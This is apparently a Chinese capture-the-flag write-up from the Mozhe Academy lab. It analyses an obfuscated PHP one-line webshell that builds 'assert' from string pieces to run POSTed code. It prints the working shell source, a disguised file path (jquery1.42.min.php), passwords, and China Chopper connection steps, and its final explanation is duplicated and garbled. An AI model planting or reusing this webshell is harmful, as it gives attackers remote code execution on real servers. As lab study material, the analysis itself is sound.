墨者学院 - WebShell代码分析溯源(第3题)

 

 

$g是个数组，根据ASCll码对应表可以得到$g[1]='s'，chr('116')='t'，那么$gg=assert，@$gg($_POST[joker])不就是assert($_POST[joker])，组成了我们常见的一句话脚本

运用菜刀访问目录 ip/www/js/jquery1.42.min.php 密码get

html路径下拿到key

 

<?php
error_reporting(0);
$g = array('','s');
$gg = a.$g[1].ser.chr('116');
@$gg($_POST[joker]);
?>

用法:  http://www.xxx.com/2.php

菜刀连接用法: http://www.xxx.com/2.php

密码：joker

详解：$g是个数组，g[1]=′s′，chr(′116′)=′t′,(https://blog.youkuaiyun.com/yabingshitech/article/details/19833217ASCll码对应表)，这样的g[1]=′s′，chr(′116′)=′t′,(